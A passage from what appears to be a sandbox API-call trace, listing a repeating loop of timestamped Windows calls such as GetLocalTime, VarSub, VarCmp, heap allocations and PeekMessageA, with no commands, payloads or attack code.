out: hHeap=0x3820000) returned 1 [0190.450] GetTickCount () returned 0x115fab4 [0190.451] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x41)) [0190.451] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.451] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.451] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.452] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.452] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.452] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.452] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.452] GetTickCount () returned 0x115fab4 [0190.452] GetTickCount () returned 0x115fab4 [0190.452] CoFreeUnusedLibraries () [0190.452] DllCanUnloadNow () returned 0x1 [0190.452] GetTickCount () returned 0x115fab4 [0190.452] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.452] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.452] GetTickCount () returned 0x115fab4 [0190.454] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x50)) [0190.454] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.454] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.454] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.454] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.455] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.455] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.455] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.455] GetTickCount () returned 0x115fac4 [0190.455] GetTickCount () returned 0x115fac4 [0190.455] CoFreeUnusedLibraries () [0190.455] DllCanUnloadNow () returned 0x1 [0190.455] GetTickCount () returned 0x115fac4 [0190.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.455] GetTickCount () returned 0x115fac4 [0190.457] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x50)) [0190.457] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.457] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.457] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.457] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.457] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.457] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.457] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.458] GetTickCount () returned 0x115fac4 [0190.458] GetTickCount () returned 0x115fac4 [0190.458] CoFreeUnusedLibraries () [0190.458] DllCanUnloadNow () returned 0x1 [0190.458] GetTickCount () returned 0x115fac4 [0190.458] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.458] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.458] GetTickCount () returned 0x115fac4 [0190.462] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x50)) [0190.463] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.463] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.463] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.463] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.463] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.463] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.463] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.463] GetTickCount () returned 0x115fac4 [0190.463] GetTickCount () returned 0x115fac4 [0190.464] CoFreeUnusedLibraries () [0190.464] DllCanUnloadNow () returned 0x1 [0190.464] GetTickCount () returned 0x115fac4 [0190.464] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.464] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.464] GetTickCount () returned 0x115fac4 [0190.465] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x50)) [0190.465] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.466] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.466] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.466] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.466] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.466] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.466] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.466] GetTickCount () returned 0x115fac4 [0190.466] GetTickCount () returned 0x115fac4 [0190.466] CoFreeUnusedLibraries () [0190.466] DllCanUnloadNow () returned 0x1 [0190.466] GetTickCount () returned 0x115fac4 [0190.466] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.466] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.466] GetTickCount () returned 0x115fac4 [0190.468] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x50)) [0190.468] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.468] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.468] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.468] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.468] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.468] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.468] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.468] GetTickCount () returned 0x115fac4 [0190.468] GetTickCount () returned 0x115fac4 [0190.469] CoFreeUnusedLibraries () [0190.469] DllCanUnloadNow () returned 0x1 [0190.469] GetTickCount () returned 0x115fac4 [0190.469] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.469] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.469] GetTickCount () returned 0x115fad3 [0190.470] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x60)) [0190.470] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.470] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.470] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.470] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.471] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.471] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.471] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.471] GetTickCount () returned 0x115fad3 [0190.471] GetTickCount () returned 0x115fad3 [0190.471] CoFreeUnusedLibraries () [0190.471] DllCanUnloadNow () returned 0x1 [0190.471] GetTickCount () returned 0x115fad3 [0190.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.471] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.471] GetTickCount () returned 0x115fad3 [0190.472] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x60)) [0190.473] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.473] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.473] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.473] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.473] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.473] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.473] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.473] GetTickCount () returned 0x115fad3 [0190.473] GetTickCount () returned 0x115fad3 [0190.473] CoFreeUnusedLibraries () [0190.473] DllCanUnloadNow () returned 0x1 [0190.473] GetTickCount () returned 0x115fad3 [0190.473] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.473] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.473] GetTickCount () returned 0x115fad3 [0190.477] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x60)) [0190.477] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.477] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.477] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.477] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.478] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.478] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.478] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.478] GetTickCount () returned 0x115fad3 [0190.478] GetTickCount () returned 0x115fad3 [0190.478] CoFreeUnusedLibraries () [0190.478] DllCanUnloadNow () returned 0x1 [0190.478] GetTickCount () returned 0x115fad3 [0190.478] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.478] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.478] GetTickCount () returned 0x115fad3 [0190.481] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x60)) [0190.481] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.481] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.482] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.482] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.482] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.482] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.482] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.482] GetTickCount () returned 0x115fad3 [0190.482] GetTickCount () returned 0x115fad3 [0190.482] CoFreeUnusedLibraries () [0190.482] DllCanUnloadNow () returned 0x1 [0190.483] GetTickCount () returned 0x115fad3 [0190.483] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.483] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.483] GetTickCount () returned 0x115fad3 [0190.486] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x6f)) [0190.486] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.486] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.486] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.486] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.487] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.487] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.487] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.487] GetTickCount () returned 0x115fae3 [0190.487] GetTickCount () returned 0x115fae3 [0190.487] CoFreeUnusedLibraries () [0190.487] DllCanUnloadNow () returned 0x1 [0190.487] GetTickCount () returned 0x115fae3 [0190.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.487] GetTickCount () returned 0x115fae3 [0190.491] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x6f)) [0190.491] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.491] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.491] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.492] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.492] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.492] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.492] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.492] GetTickCount () returned 0x115fae3 [0190.492] GetTickCount () returned 0x115fae3 [0190.492] CoFreeUnusedLibraries () [0190.492] DllCanUnloadNow () returned 0x1 [0190.492] GetTickCount () returned 0x115fae3 [0190.492] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.493] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.493] GetTickCount () returned 0x115fae3 [0190.494] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x6f)) [0190.494] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.494] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.495] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.495] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.495] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.495] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.495] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.495] GetTickCount () returned 0x115fae3 [0190.495] GetTickCount () returned 0x115fae3 [0190.495] CoFreeUnusedLibraries () [0190.495] DllCanUnloadNow () returned 0x1 [0190.495] GetTickCount () returned 0x115fae3 [0190.495] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.495] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.495] GetTickCount () returned 0x115fae3 [0190.503] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x8f)) [0190.519] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.519] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.520] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.520] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.520] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.520] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.520] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.520] GetTickCount () returned 0x115fb02 [0190.520] GetTickCount () returned 0x115fb02 [0190.521] CoFreeUnusedLibraries () [0190.521] DllCanUnloadNow () returned 0x1 [0190.521] GetTickCount () returned 0x115fb02 [0190.521] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.521] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.521] GetTickCount () returned 0x115fb02 [0190.523] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x8f)) [0190.523] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.523] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.523] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.524] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.524] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.524] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.524] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.524] GetTickCount () returned 0x115fb02 [0190.524] GetTickCount () returned 0x115fb02 [0190.524] CoFreeUnusedLibraries () [0190.524] DllCanUnloadNow () returned 0x1 [0190.524] GetTickCount () returned 0x115fb02 [0190.524] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.524] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.524] GetTickCount () returned 0x115fb02 [0190.527] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x8f)) [0190.527] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.528] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.528] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.528] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.528] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.528] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.528] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.528] GetTickCount () returned 0x115fb02 [0190.528] GetTickCount () 